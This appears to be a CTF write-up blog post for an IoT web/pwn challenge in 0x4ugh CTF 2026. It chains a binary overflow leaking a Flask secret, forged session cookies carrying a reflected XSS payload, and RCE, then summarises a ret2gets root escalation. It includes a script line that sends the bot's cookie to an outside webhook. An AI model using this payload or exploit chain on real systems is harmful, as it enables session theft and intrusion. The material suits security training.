← Back to list

0x4ugh Awesome router

This was an “iot”(web X pwn X rev) chal in 0x4ugh-ctf2026(where we got 9th position btw), with only 4 solves. I did this while…

G-smag404 · 2026-01-27 05:35 · 0 claps · 2.0 min read
#ctf #ctf-walkthrough #0xl4ugh #reflected-xss #pwn
Open on Medium ↗
Wiki topics: 📟 · Gadgets & IoT

0x4ugh Awesome router

This was an “iot”(web X pwn X rev) chal in 0x4ugh-ctf2026(where we got 9th position btw), with only 4 solves. I did this while participating in the ctf as a member of Them?!

Lore: The “Awesome” webpage was meant to be a harmless site where users can check if their devices health and even do some networking(hence router IDK!). But when you see it from a ctf-sight, “The webpage had few endpoints, /console has a direct rce but to access that we need admin jwt that only the bot has, here we go!”

1. /Healthcheck (get flask secret)

So the entry point was at /healthcheck, there was a binary healthcheck, i overflowed it and got env vars, script i used for this: cybersecurity/ctfs/0xL4ugh/IOT_FUNROUTER/get_session.py

One of the env vars was flask secret which lets us craft custom sessions, and also a flag with value “nope” signalling we r in right direction.

The session contained info about device, the app intended to read it and give the device health insights via that data, but they did that by writing it directly in html from the session cookie (uk what this is RXSS)

settings = session.get('device_settings', {}) #this is what we manipulate
    notes = session.get('notes', [])
    return render_template('device_info.html', settings=settings, notes=notes)

2. Stealing jwt

Since we have flask-secret, we can craft custom session-cookies with xss payloads in device_settings. Now I tried different variations but all of them got filtered by jinja, buttt markup xss injection worked! So we can just exfilterate bot’s jwt :) Automated script for exfil: cybersecurity/ctfs/0xL4ugh/IOT_FUNROUTER/get_jwt.py at main · Gurpratap-Smagh/cybersecurity

Markup(f'<script>fetch("{WEBHOOK}?jwt="+document.cookie)</script>')

Now that we have got the jwt, we can get an rce as user ctf(As i mentioned earlier, there was a /console endpoint;).

rce_shell: cybersecurity/ctfs/0xL4ugh/IOT_FUNROUTER/get_rce.py

3. Get Root

To privilege-escalate, we need to pwn the binary /fetcher to which we are allowed sudo access to.

I couldn’t finish this part cuz we had just half an hr left so this is the author’s writeup for that: the binary exploitation writeup

The Technique: ret2gets We utilized a specific glibc behavior where gets() uses the _IO_stdfile_0_lock structure. By carefully overflowing the stack, we achieved two goals:

  1. TLS/Libc Leak: We manipulated the cnt field of the lock structure to trigger an integer underflow. This prevented the owner (TLS) pointer from being cleared, allowing us to leak it via puts().
  2. RDI Control: Because gets() writes to the address currently in RDI, we could redirect the second gets() call to write /bin/sh into a known location (the lock structure itself) and then return into system().

메타데이터
post_id
3cd99ab43702
slug
0x4ugh-awesome-router-3cd99ab43702
url
https://medium.com/@gsmag404/0x4ugh-awesome-router-3cd99ab43702
canonical_url
https://medium.com/@gsmag404/0x4ugh-awesome-router-3cd99ab43702
author_url
https://medium.com/@gsmag404
status
ok
fetched_at
2026-09-02 00:25:06